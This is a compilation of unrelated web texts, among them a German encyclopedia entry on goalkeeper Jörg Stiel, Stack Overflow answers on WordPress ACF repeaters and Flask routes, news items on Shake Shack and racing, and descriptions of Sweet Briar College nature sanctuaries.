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Jörg Stiel (* 3. März 1968 in Baden) ist ein ehemaliger Schweizer Fussballtorhüter und aktueller Goalietrainer beim Grasshopper Club Zürich.

Karriere
Jörg Stiel begann seine Karriere 1986 beim FC Wettingen. 1990 wechselte Stiel zum FC St. Gallen. Nach drei Jahren verliess er 1993 den Club, mit dem er zum Saisonende abgestiegen war. Er wechselte nach Mexiko zu Toros Neza. Ein Jahr später kehrte er wieder in die Schweiz zurück und spielte für zwei Jahre beim FC Zürich. Nachdem in Zürich sein Vertrag nicht verlängert worden war, schloss er sich erneut dem FC St. Gallen an. 2000 wurde er mit dem FC St. Gallen Schweizer Meister, sein grösster Erfolg in seiner Spielerkarriere. 2001 wechselte er zum deutschen Bundesligisten Borussia Mönchengladbach. Bei den Borussen wurde Stiel Stammtorhüter sowie Publikumsliebling und absolvierte bis zu seinem Rücktritt im Jahre 2004 insgesamt 89 Bundesligaspiele.

Sein Debüt für die Schweizer Fussballnationalmannschaft gab Stiel im Jahre 2000. Er nahm mit der Schweiz zum Abschluss seiner Karriere an der EM 2004 teil und stand bei allen drei Turnierspielen für die Schweiz im Tor. Insgesamt bestritt er 21 Länderspiele für die A-Nationalmannschaft.

Kultstatus bekam Stiel u. a. durch sein Mitwirken bei einer Schweizer Werbekampagne zur "Bereitstellung/Abholung" von Mülltonnen unter dem Motto: "Ich weiss, wann ich raus muss". Ab November 2006 war er Torwarttrainer des österreichischen Bundesligisten SCR Altach.

Seit Juli 2007 ist Jörg Stiel Teilhaber und Verwaltungsrat der WS4Sports AG, Mosnang SG (Generalvertretung der Marke Reusch in der Schweiz). Danebst arbeitet er auf Mandatsbasis für führende Schweizer Firmen wie Migros, Kantonalbanken etc. und Internetplattformen.

Seit dem 19. Juli 2009 war Jörg Stiel wieder bei Borussia Mönchengladbach tätig. Er übernahm dabei für sechs Monate die Aufgabe eines Dolmetschers für die bei der Borussia zur Spielzeit 2009/10 verpflichteten Spieler Juan Arango und Raúl Bobadilla. Stiel spricht durch seine aktive Zeit als Torhüter in Mexiko fliessend spanisch.

Vom Juli 2014 bis Juni 2021 arbeitete Jörg Stiel als Torwarttrainer im Juniorenbereich beim FC Basel.

Seit Juni 2021 ist er Goalietrainer beim  Schweizer Fussball Rekordmeister Grasshopper Club Zürich.

Sonstiges

Kontroversen
Während des Viertelfinals der Beachsoccer-Europameisterschaft Ende Mai 2009 zwischen der Schweiz und Frankreich kam es zu einem Disput zwischen Éric Cantona und Jörg Stiel als Betreuer der Schweizer Mannschaft. Laut Cantona habe Stiel einen seiner Spieler als "schwarze Sau" beschimpft. Nach einem kurzen Wortgefecht schlug Cantona dem Schweizer ins Gesicht.

Weblinks

  von der ehemaligen Datenbank von Playerhistory.com (englisch)
 Haruka Gruber: Jörg Stiel im Interview: "Cantona ist unter aller Sau". Spox.com, 5. März 2012

Einzelnachweise

Fußballnationaltorhüter (Schweiz)
Fußballtorhüter (Borussia Mönchengladbach)
Schweizer Meister (Fussball)
Fußballtorhüter (FC St. Gallen)
Fußballtorhüter (FC Zürich)
Fußballtorhüter (Toros Neza)
Schweizer
Geboren 1968
Mann
Fußballtorhüter (FC Wettingen)
Teilnehmer an einer Fussball-Europameisterschaft (Schweiz)

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In research conducted by Go Smart, the company found that nearly 80% of medical clinics in the UAE, which numbered 6,303 in 2014 in the UAE, use some form of management software. However, not many medical clinics had a fully integrated software solution, and usually use a mix of electronic medical records (EMR), and management and billing software. This is not an ideal solution as the interfaces are different, and the time incurred to switch between programs, as well input data into two or more programs is significant.
"Further, 'Smart Clinic' is the only solution for medical clinics that is integrated into a mobile application too," noted Mr. Daou. The mobile application of the 'Smart Clinic' software may include the following features: online registration, sharing of some results with the patient, availability of doctors and services, and marketing push notifications to notify patients and clients of new promotions.
In 2016, Go Smart intends to target medical clinics in 2016, with an eye on expanding to hospitals in the years to come. After sales services provided free when customers sign for 'Smart Clinic' include installation, training, and after sales maintenance service for free for one year.


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Q: Advanced Custom Fields Repeater - How to reverse order (WordPress) I'm using the advanced custom fields repeater plugin to create a a big grid of images with links. I would like the newest items I create at the top, so what I'm asking is how do I reverse the the order via the code?
Any help would be great. Here is my current code
<?php if( have_rows('shop_product') ):

            while ( have_rows('shop_product') ) : the_row();

        ?>

                            <img src="<?php the_sub_field('product_image');?>">

                            <a href="<?php the_sub_field('product_url');?>" target="_blank"><?php the_sub_field('product_brand');?>

                            Buy Now

        <?php endwhile;
        else :
        endif;
        ?>

A: You can use get_field('my_repeater') to get the repeater fields as an array which you can loop over.
Then using PHP's array_reverse() function, you get a reversed array you can loop over.
The only difference is you have to access the fields as array keys rather than using ACF's sub_field functions.
For your example:
<?php $products = array_reverse(get_field('shop_product'));

foreach ($products as $product): ?>

    <img src="<?php echo $product['product_image']; ?>">
    <a href="<?php echo $product['product_url']; ?>">Buy now

<?php endforeach; ?>

A: It may not answer the actual question, but may solve the problem.
If you are displaying rows of repeater, you could use CSS display:flex together with flex-flow:row/column-reverse;
As it may only be necessary to swap order to DISPLAY it
Example:
display:flex;
flex-flow:row-reverse;

A: off the top of my head, using output buffer - not the cleanest way though
<?php $outs = array(); if( have_rows('shop_product') ):

            while ( have_rows('shop_product') ) : the_row();  ob_start();

        ?>

                            <img src="<?php the_sub_field('product_image');?>">

                            <a href="<?php the_sub_field('product_url');?>" target="_blank"><?php the_sub_field('product_brand');?>

                            Buy Now

        <?php $outs[] = ob_get_clean(); endwhile;
        else :
        endif;
        $outs = array_reverse($outs);
        echo implode($outs);
        ?>


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Secondary Publication Architecture Business & Manegement Economics Engineering in General Information Sciences Interdisciplinary Sciences
Masayuki Matsui
Toward digital-era, there is more increasing the portion of artifacts on the earth, and is attainable to the global environment of nature versus artifacts bodies. At the paper, we first suppose One-leaf Hyperboloid and the typical cases:Social (or enterprise) and Physical bodies as the base of nature vs. artifacts bodies. Second, the traditional pair-map is here developed, is semi-finalized at a generalization including Nash's zone, and its 3D-like body is visually embodied as the two illustrations. Third, for a fractal(nested) mother of pair-map and its Nash's zone, the shared equilibrium problem of 3D-type is discussed on the Trickle-down effort vs. Modern money theory (up) at Mt. Fuji type in the economic society. Finally, it is remarked that the latter might be better than the former at income distribution.
Article Psychology
This study aimed to determine racing esport games' effects on the physiological and psychological indices using psychological scales and heart rate monitors. The participants were 10 male university students who did not play games diurnally (mean age ± 20.10, SD = 1.10). Participants wore a wristwatch heart rate monitor, and their resting heart rate was measured for 2 min. The duration of the game play was set to 30 min, and their heart rates were continuously measured during play. The changes in the psychological state before and after the game play were then examined using a two-dimensional mood scale-short term. The results showed that the average heart rate significantly increased during gameplay compared to the resting state. As for participants' psychological state before and after the gameplay, the vitality, pleasure, and arousal levels increased while the stability level decreased. These results indicate that gameplay in the racing genre can induce a lively mood and increase the heart rate.


"When you consider that 88 percent of the Fortune 500 companies in 1955 are now gone, it's not hard to see that change has always been with us, but the rate of change is accelerating dramatically due in large part to the disruption brought about by digital transformation."
Transforming an entire organization is a big ask. Organizational Innovation requires change at every level, from every employee. It's not surprising that some companies fail to hit the mark.
While technology has forced innovation to the top of priority lists, innovation itself has to happen organically within the enterprise. If the right atmosphere isn't in place, innovation is reduced to a buzzword.
OneFire's Director of Innovation Harsh Shah said, "Innovation has to be a positive thing. Just because your title has 'innovation' in it, it doesn't make you innovative."
Placing someone in charge of "innovation," then sitting back waiting for it to happen makes that person's job impossible and keeps your company mired in misguided convention. Innovation needs to be promoted and nurtured company-wide. It's also important to put a process in place. As with any part of a business, direction is essential to seeing results. "Go do the innovation!" is not enough.
Putting a repeatable framework in place can guide your company's innovation efforts and a develop the right mindset to be applied across your business.
Put a process in place that elevates ideas and allows for organic innovation.
With how some businesses operate, it can sound false, but it is true: people are the most important part of your business. People are prone to all types of emotions. When it comes to being tasked with innovation, the prevailing feeling is fear. Innovation and failing often go hand-in-hand and most employees in most businesses have learned that 'failure' is never acceptable.
While employees across the company are being asked to rapidly adopt and learn new technologies (which is an overwhelming obstacle by itself), those tasked specifically with innovation are being asked to transform the company completely. Unless it has been clearly communicated otherwise, employees are going to believe that failing is going to land them on the unemployment line (or at least in the doghouse). That fear of failure is crippling innovation. It leads to only safe ideas. Safe ideas and ideas that lead to transformation are rarely the same.
"You have to reward innovation. Because you will fail. People are scared to fail. For every 10 ideas that fail, one succeeds. You have to foster failure. Failing leads to success. Failing has such a negative rep that people are afraid to fail," said Shah.
Embrace failure as an important step toward success.
Enterprise culture isn't conducive to innovation. Over the years, businesses develop standards for how each department should run. Those standards aren't very flexible (as anyone who has worked in an office can attest to). In fact, when questioning policy, one of the most popular management comebacks is "that's the way we've always done things." What happens when you're asked to rethink all of the ways you've always done things? Resistance. Negativity. Red Tape.
"Being innovative is like having a Hackathon every week. Start from scratch, have a deadline. It is ok to fail. Enterprise needs hackathon culture," said Shah.
'Hackathon' culture is open-minded, loose, and collaborative with all participants pushing toward one goal. For innovation to take hold in the enterprise, companies need to follow the examples around them.
Foster a culture of learning and collaboration.
"The issue with the lab or incubator concept is how you move the kind of innovative thinking from that internal innovation test bed into the organization at large. The reasoning behind isolating innovation was sound enough, because those fledgling ideas would very likely be sucked up into the vacuum of existing business policies where they get lost forever in a haze of bureaucratic negativity," said Ron Miller for TechCrunch.
If innovation is tucked away in a dark (and forgotten) corner of the business, it's going to have an uphill battle affecting the big picture of the organization's future. Whether you go the lab/incubator route or integrate your innovation efforts another way, it has to be factored into the company's central function and aim. If not, innovative ideas might be born on one side and never make it across the bridge.
Know how innovation will be implemented from Day 1.
Vision for what an organization is and what it will be comes from the top. How executives approach organizational innovation determine how the rest of a company's employees will receive it. To position a business for successful innovation, an executive has to part ways with traditional ways of running a company.
Most traditional businesses have a hierarchical culture that values a top-down structure. Innovative businesses are collaborative, placing more emphasis on teamwork than title. Instead of focusing on finding the cheapest way to get the job done, innovative businesses will focus on finding, cultivating, and keeping talent.
In almost every way, executives must shift their approach to meet the needs of their shifting business. For some, the way they've been doing it is too ingrained. Instead of serving their company as the sail that propels the enterprise forward, they become the anchor that keeps it stuck in the sand.
Empower executives who embrace change.
Successful Organizational Innovation is uncommon and now you know some of the common reasons why (and how to fix them). Businesses of all kind now have to adapt to the changing enterprise climate.
Innovating isn't a trend. It's the only way to survive.


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There's nothing like good, old-fashioned sibling rivalry.
From Quarter Midgets to Legends cars and now all the way up to Super Late Models, Kyle and Kason Plott could pen a series of books about some of the battles they've waged in race cars over the years.
The brothers — Kyle, 21 and Kason, 19 — will write another chapter in their storied competition Friday night at Five Flags Speedway when they'll both hop in a Super Late Model and compete in the SERF 100.
The SERF 100 is the second Blizzard Series race of the season and officially marks the halfway point in the 12-race Southern Super Series schedule, a SLM tour that competes at the southeast's most iconic tracks.
A jam-packed evening awaits at the famed half-mile asphalt oval Friday. Dubbed the "Summer Sizzler," the evening will see a whopping five feature races for the biggest race night of the summer. The Outlaw Stocks (35 laps), Pro Trucks (30), Sportsmen (25) and Pure Stocks (20) also share the marquee when the gates open at 4 p.m. Friday.
After a banner career racing Quarter Midgets and Legends, Kyle Plott is in just his second season racing SLMs full-time.
The South Carolina resident by way of Marietta, Ga., scored a huge win earlier this year when he took home a $10,000 check for capturing the Greenville Meltdown at the Greenville-Pickens Speedway in Easley, S.C. He backed up that performance with a podium finish in April during the Blizzard opener in Pensacola when he led the first 50 laps before giving way to a dominant run from eventual race winner Bubba Pollard.
Kason Plott's SLM debut will come Friday at Pensacola's high banks. Like his big brother, Kason Plott enjoyed a decorated Legends career before he and Alan Plott, the boys' father, decided it was time for a change.
Kason Plott has tested and practiced in a SLM before, and he'll do so again this Thursday at Five Flags, but he hasn't competed in a race yet.
"I told him the other day, he's starting out with a lot nicer equipment than I did," Kyle Plott said. "I'm so happy for him. He'll struggle in his first few races because these things are different animals. They're not like anything else.
Those competitive juices between brothers, and siblings in general for that matter, never seem to dissipate. They always seem to be nearing a rolling boil.
They were there when the Plott boys battled at a young age when both were competing in Quarter Midgets—Kyle was 6, Kason 4.
"I remember one race where I came from dead last, and Kason was leading the race," Kyle Plott recalled. "I spun him out on the last lap to win. My dad wasn't too happy with me. And Kason was mad at me, too.
Kyle Plott just hopes it doesn't come Friday night at Five Flags.
When: Friday, qualifying 6-7:30, first race at 8 p.m.
Who: Race events in Super Late Models (Blizzard Series), Outlaw Stock, Pro Truck, Sportsman, Pure Stock.


Don't feel guilty for taking time for yourself.
Let's face it, college can be hard. Between attending classes, studying, and sleep deprivation, it is no wonder that college students are stressed out. College can seem like an everlasting cycle of responsibilities.
In the midst of all the chaos, it I super important that students learn to take some time for themselves. Taking a mental health day (or hour) is never something to feel guilty about.
One huge lesson that I've learned in college, is that relaxing is okay. Sometimes you need a mental break to watch a movie or even take a quick nap.
A lot of people associate this type of behavior with laziness, which is something COMPLETELY different. Relaxing by no means makes you a person lazy.
Sure, it's important to keep up with your studies and live an active lifestyle. At times however, you need these breaks to keep your health in tip top shape.
The constant all-nighters and intense focus on class work WILL catch up with you, leading to illness and unwanted crying fits.
Everyone is entitled to time for self-care. This does NOT make you lazy! If anything, some type of relaxation should be worked into your daily routine.
Try writing before bed, watching a TV show at lunch, or even getting an adult coloring book to destress in between classes.
Who cares what others think? This is YOUR life. Only you know what will work best for you!
So, what are you waiting for? Snuggle up under the covers with a nice book, your favorite movie, or a nap time playlist and start relaxing!


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Shake Shack brings Korean Fried Chicken to fast-food's chicken sandwich wars
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The burger chain announced the rollout of its Korean-style Fried Chick'n Sandwich and Korean-style Gochujang Chick'n Bites on Tuesday. Both items use Gochujang, a fermented red chili paste common in Korean cuisine.
The new sandwich combines crispy chicken breast with a spicy-sweet Gochujang glaze, toasted sesame seeds and white kimchi coleslaw for $7.19. The company's new Chick'n Bites are made with white meat chicken and served with Gochujang mayo sauce. They come in six-piece and 10-piece orders that cost $5.19 and $7.19, respectively. Shake Shack (SHAK) says the Korean fried chicken offerings will be available nationwide through April 5, 2021.
Shake Shack's new entries in the fast food industry's chicken sandwich wars signal the battle is heating up again in early 2021 after reaching a peak in late 2019 when Popeyes unveiled its popular spicy chicken sandwich. That ignited a space race of sorts between Chick-Fil-A, KFC, Wendy's, McDonald's and Taco Bell. On Monday, McDonald's (MCD) introduced three new chicken sandwiches it plans to add to its menu in February.
Americans have been eating more chicken and less beef the last few years, a trend the fast-food industry has seized on recently, according to Peter Saleh, managing director and analyst covering restaurants and food distribution at BTIG, a broker-dealer investment bank.
"This has been an ongoing battle," Saleh told CNN Business. "The chicken poultry segment is a little bit more popular these days with consumers. everybody's trying to capitalize on that."
Saleh said consumers should expect to see a surge in chicken sandwich promotions from major chains in early 2021, noting that many fast food companies pulled back on ads during the spring of 2020 when the Covid-19 pandemic was peaking for the first time.
"A lot of them have this war chest of advertising that they used in the back end of 2020," he said. "They will use that in the first half of 2021 for the new items, including the chicken sandwiches that they plan to launch."
Korean inspiration
In addition to its two new chicken offerings, Shake Shack customers can also order a side of crinkle-cut fries served with Gochujang mayo sauce and the company's new Black Sugar Vanilla Shake, a hand-spun frozen treat that Shake Shack says is popular in Korea, Taiwan and other Asian markets. The shake includes of mix of caramel-flavored, toasty black sugar and frozen vanilla custard topped off with whipped cream and black sugar syrup for $5.69.
The company's culinary director Mark Rosati says the creations were inspired by the Korean fried chicken restaurant scene in Seoul, which he and his team first experienced in 2015, a year before Shake Shack opened its first location there.
"We tried countless joints over the years, immersing ourselves in all of the different styles and finding what makes Seoul such a delicious and iconic city," Rosati told CNN Business via email. "We have come to love the diverse flavor profile Korean fried chicken offers."
Korean fried chicken is the latest poultry option to be added to Shake Shack's menu. In September, the company added the Hot Chick'n sandwich to its lineup for a third time, three years after its original unveil.
"We've seen great success for our chicken menu offerings," Rosati said.
Hot Chick'n's reintroduction fueled a late 2020 surge in Shake Shack's sales, according to a December report from Cowen investment bank.
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Workers' compensation is an insurance system that protects both employers and their employees. If an employee sustains an injury at work or developed an illness or condition due to the job or their workplace,workers' compensation provides that employee with wage replacement and benefits. In exchange for workers' compensation,the employee waives their right to sue their employers for damages; that is how the employers are protected from large personal injury lawsuits that could bankrupt their business. To guard against people taking advantage of the system,there are a number of criteria set involving proving you deserve workers compensation.
If you have been injured on the job,you will have to notify your employer immediately so the injury is documented,especially that it happened while you were working at your workplace. You will also need to seek medical attention immediately. This is not just in the best interest of your health,but also so that your injury is documented by a medical professional.
If you have developed a condition or illness due to your job or workplace environment,you will also have to report it to your employer,according to the best workers comp lawyer. You will need to be specific about when the condition started and how it is related to your work. You will need to pay regular visits to the doctor so there are medical reports that corroborate your timeline of when the condition started and how treatment has unfolded.
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U.S. District Judge Nicolas Garaufis ruled that American Express violated U.S. anti-trust laws by barring merchants from encouraging customers to use one credit card over another, a practice that he said constitutes an unlawful restraint on trade.
The Merchants Payments Coalition (MPC), of which NATSO is a member, applauded U.S. District Judge Garaufis' ruling, saying it marked "one step forward to bringing badly needed competition and transparency to the entire credit card industry."
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2) The SD Wizard allows only TWO types of HVAC systems. The DD Wizard allows different systems to be attahced to different zones within any shell.
3) Neither Wizard allows for ANY changes to people, lts, equipment, or DHW profiles. Nor does it account for elevator loads. If these will matter to you, start in your appropriate Wizard, do a Save AS, call your new file by the same name with a -DETAIL at the end of the name. Then cahnge the -DETAIL to the Detailed Edit mode to complete the scheduling changes.
I am modeling an existing building for an energy audit in NY.  I am not sure if I should use the SD or DD Wizard.  Does anybody have any advise?


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W 1821 wstąpił do 7 Pułku Piechoty Liniowej Królestwa Kongresowego. 10 marca 1831 odznaczony Krzyżem Złotym Orderu Virtuti Militari. Po upadku powstania przebywał na emigracji we Francji. Pochowany na Cmentarzu Montmartre.

Bibliografia
 Polacy pochowani na cmentarzu Monmartre oraz Saint-Vincent i Batignolles w Paryżu, praca zbiorowa pod redakcją Andrzeja Biernata i Sławomira Górzyńskiego, Warszawa 1999

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Nature Sanctuaries
Sweet Briar College is a liberal arts college for women in Central Virginia. With 2,840 rural acres, it is one of the largest landholders among private colleges in the United States. The College provides outstanding opportunities for education and research in field biology and environmental science. Prospective students are invited to contact admissions; scientists and naturalists interested in visiting or establishing study sites on campus are invited to contact Professor Linda Fink.
Charles W. Carry Nature Sanctuary
The Charles W. Carry Nature Sanctuary (45 acres) is a mature white oak forest flanking the entrance road. There are no marked trails, but visitors are welcome to wander through it on foot.
In addition to 200-year-old white oaks and 100-year-old tulip poplars, you will find massive beech trees, red oaks, hickories, black gum, a large population of umbrella magnolias and a high diversity of spring wildflowers. Along the creek on the west side is the largest sycamore on campus. Some of the wildflowers along the creek were apparently planted by students years before the area was set aside as a preserve. We have no record of which plants were introduced and which were already in the area.
This first College sanctuary was established in 1958 following provisions of the Charles W. Carry Sanctuary Endowment. The sanctuary boundaries were expanded in the late 1960s. Recognition of the value of this oak forest is widespread. Professor A.E. Radford, emeritus professor of botany at the University of North Carolina, brought his classes to this forest and considered it to be "the best white oak forest seen in the Piedmont." The 1980 "Sierra Club Naturalist's Guide: The Piedmont" included it as one of 29 unique deciduous habitats found from New Jersey to Georgia.
Although protected from cutting or development, the sanctuary is far from undisturbed. Hurricane Hazel in 1954 blew down many large white oaks, which were subsequently removed. Invasive plants encroach along the margins, and an immense clone of an exotic groundcover, the periwinkle Vinca minor, carpets the understory of more than an acre. Invasions by non-native plants and animals are among the world's major conservation problems and Sweet Briar's forests are not immune to this onslaught. A potential disaster for the sanctuary, is that a more than 70-year-old sewer line runs through the center of the sanctuary.
Constitution Oaks Sanctuary
The 32-acre Constitution Oaks Sanctuary, contiguous with the Carry Sanctuary and east of The Florence Elston Inn, protects at least 90 white oaks that we believe to be greater than 200 years old, and almost three dozen older than 300 years. Its name celebrates the fact that this forest was already flourishing when the United States Constitution was drawn up in 1787. Most eastern forests are abandoned farmland and contain few trees more than a century old. Large tracts of mature forests are ecologically priceless. The sanctuary is also home to the only naturally occurring stand of Hepatica on campus.
Along the southeast edge of Constitution Oaks is the Mabel Thacher Edwards Wildflower Garden. Mabel was passionate about the wildflowers and ferns of the Appalachians. She knew where and when every campus wildflower peeked above the soil and greeted each, common or rare, with delight. In collaboration with her husband, Buck, she put together an Annotated List of the Wild Vascular Plants of the Sweet Briar College Property.
In April 2001, the Board of Directors voted to extend the northern boundary of this sanctuary to Elijah Road.
Boone-Prior Preserve
The Boone-Prior Preserve (11 acres) is also a hardwood forest with large white oaks, tulip poplars and hickories and an understory of flowering dogwoods. It differs from the Carry Sanctuary in having very few beech trees. Located next to the science building, the sanctuary is used extensively by biology students. Unlike the Carry and Constitution Oaks sanctuaries, it is a forest island surrounded by manicured lawns and hayfields and bisected by a heavily-used bridle trail. Because of its small size, isolation and surrounding land use, it is noticeably disturbed by herbicides, mowing, invasive alien plants and trail erosion. This site is used for informative comparisons with our less-disturbed woodlands.
A small pond at the southeast corner of the sanctuary, known informally as Guion Pond, is a favorite destination for campus children, artists, field biologists and dogs. In early spring, its surface is dotted with egg masses of spotted salamanders; throughout the year it is home to crayfish, water scorpions, tadpoles and myriad other aquatic invertebrates and amphibians. The Guion Pond Woodland Garden is planted with native shrubs and wildflowers.
Big Oaks Woodland Preserve
The Big Oaks Woodland Preserve (15 acres) protects the main tributary stream for Sweet Briar Lake, as well as a rich beech-oak-hickory woodland containing chestnut oaks, red oaks and the largest white oak on campus. It is a heterogeneous area that was formerly pasture, pine woodland and grazed hardwood forest. The steep hillsides have numerous exposed boulders. At the bases of the beech trees can be found beech drops, their saprophytic symbionts. The preserve can be reached by walking behind the green barn along the Dairy Loop.
COSIP Transect
COSIP Transect is a 1-kilometer-long transect established in 1970-73 by Buck Edwards, with funds provided by an NSF College Science Improvement Program grant to Sweet Briar. Located in Fern Woods southwest of the riding center, the north-south line traverses a second-growth forest. The southern end of the transect is relatively flat ridgetop of mostly young white oaks and pines. Continuing northward, the transect crosses steeper terrain across five narrow valleys and ridges. Most of this is covered with mixed deciduous forest averaging 70-80 years of age, with chestnut oaks and tulip poplars being most numerous.
Initially, all of the trees in a 6-meter-wide strip > 12 inch DBH (diameter at breast height) were identified, measured and mapped. From 1988-91, mapping was expanded to include all trees in a 40-meter-wide strip that were > 6 inch (15 cm) DBH. In summer 1999, Andrea Capano '99, supported by the Honors Program, remapped all the trees down to 10 cm DBH. Every tree received a unique, permanent aluminum tag. We will now be able to track the fates of individual trees and map the distributions of other organisms in relation to them.
In April 2001, the COSIP Transect, plus a 100-foot buffer strip, was given permanent sanctuary status.
Other permanent grids are located in the Constitution Oaks and Boone-Prior sanctuaries, and trees in substantial sections of them have also been mapped. In the summer of 2000, with support from the Sanders Fund for Ecological Studies and Natural Areas, two Sweet Briar students and a University of Virginia graduate student completed the mapping and tagging of trees in these grids.
Indiana Fletcher Williams Preserve
North and east of Sweet Briar Lake, the Indiana Fletcher Williams Preserve (250 acres) is hilly, mostly second-growth woodlands. Some areas are primarily scrub pine, others are mixed pine and hardwoods, and some are heavily cut-over hardwoods. Two streams and miles of trails loop through it: Sweet Briar Creek flows north from the dam of the lower lake, and feeds into Williams Creek that traverses the sanctuary near its north boundary. The topography is relatively flat above the lake and drops off sharply in steep slopes and deep ravines to the north and east. Other features include an old rock quarry, a fine stand of fairly large beech trees and our most significant populations of several non-woody plants, including several orchids. Because it is large, contains abundant water and has a fair diversity of habitats, it is rich in wildlife. This preserve has become increasingly popular with campus hikers, mountain bikers and runners. A trail map is posted near the boathouse.
Ecology Woods
Ecology Woods (formerly called the Water Quality Preserve, Field #4 or Ecology Field, 35 acres) is a former pasture that has been undergoing secondary succession since it was protected from cows in 1969. Vegetation has been surveyed periodically, providing good documentation of the ecological changes occurring as woody vegetation invades.
Pyrola Springs Preserve
Pyrola Springs Preserve (9 acres) was established in 1971 as the Princess Pine Nature Sanctuary. Located in Fern Woods, a larger second-growth forest southwest of the riding center, this little-known preserve protects colonies of several plants not found commonly elsewhere on campus, including princess pine, shining club-moss, pyrola, green woodland orchid and cinnamon fern. This area is distinct in vegetation because it is damp (two natural springs feed tiny streams) and because the forest has been relatively undisturbed for almost a century.


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Q: How to get a list of Flask application routes on a webpage I have a flask application written in Python3.6.x that lives in a docker.
When I have the docker container for the backend up and running, I can do FLASK_APP='run.py' flask routes to get a list of all the endpoints in the application within the shell.
What changes should I make to get that entire list as a web/html page??

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What changes should I make to get that entire list as a web/html page??

I'm guessing you want the output of flask routes available within a your own route, so you can then render this, by passing it to a template or something...
See where the flask routes command is implemented and how this grabs the data...
def routes_command(sort: str, all_methods: bool) -> None:
    """Show all registered routes with endpoints and methods."""

    rules = list(current_app.url_map.iter_rules())
    if not rules:
        click.echo("No routes were registered.")
        return

So to implement this in your own program, you could do the same:
from flask import Flask, current_app

app = Flask(__name__)

# Just another demonstration route for the output.
@app.route('/some/route/<withParam>')
def some_route(withParam): return 'success'

@app.route('/')
def index():
    rules = list(current_app.url_map.iter_rules())

    if not rules:
        return 'No rules defined'

    def get_dict(rule):
        return { 'endpoint': rule.endpoint,
                 'methods': ','.join(rule.methods),
                 'rule': rule.rule }

    output_list = [get_dict(r) for r in rules]

    print (output_list)

    return 'success'

output_list is a list of dictionaries which looks like:
[{'endpoint': 'index',
  'methods': 'GET,HEAD,OPTIONS',
  'rule': '/'},

 {'endpoint': 'some_route',
  'methods': 'GET,HEAD,OPTIONS',
  'rule': '/some/route/<withParam>'},

 {'endpoint': 'static',
  'methods': 'GET,HEAD,OPTIONS',
  'rule': '/static/<path:filename>'}]

Obviously in the above sample I've just printed this to the terminal, but now that you have this in a python data structure, it's easy enough to pass this via render_template and display it in page.


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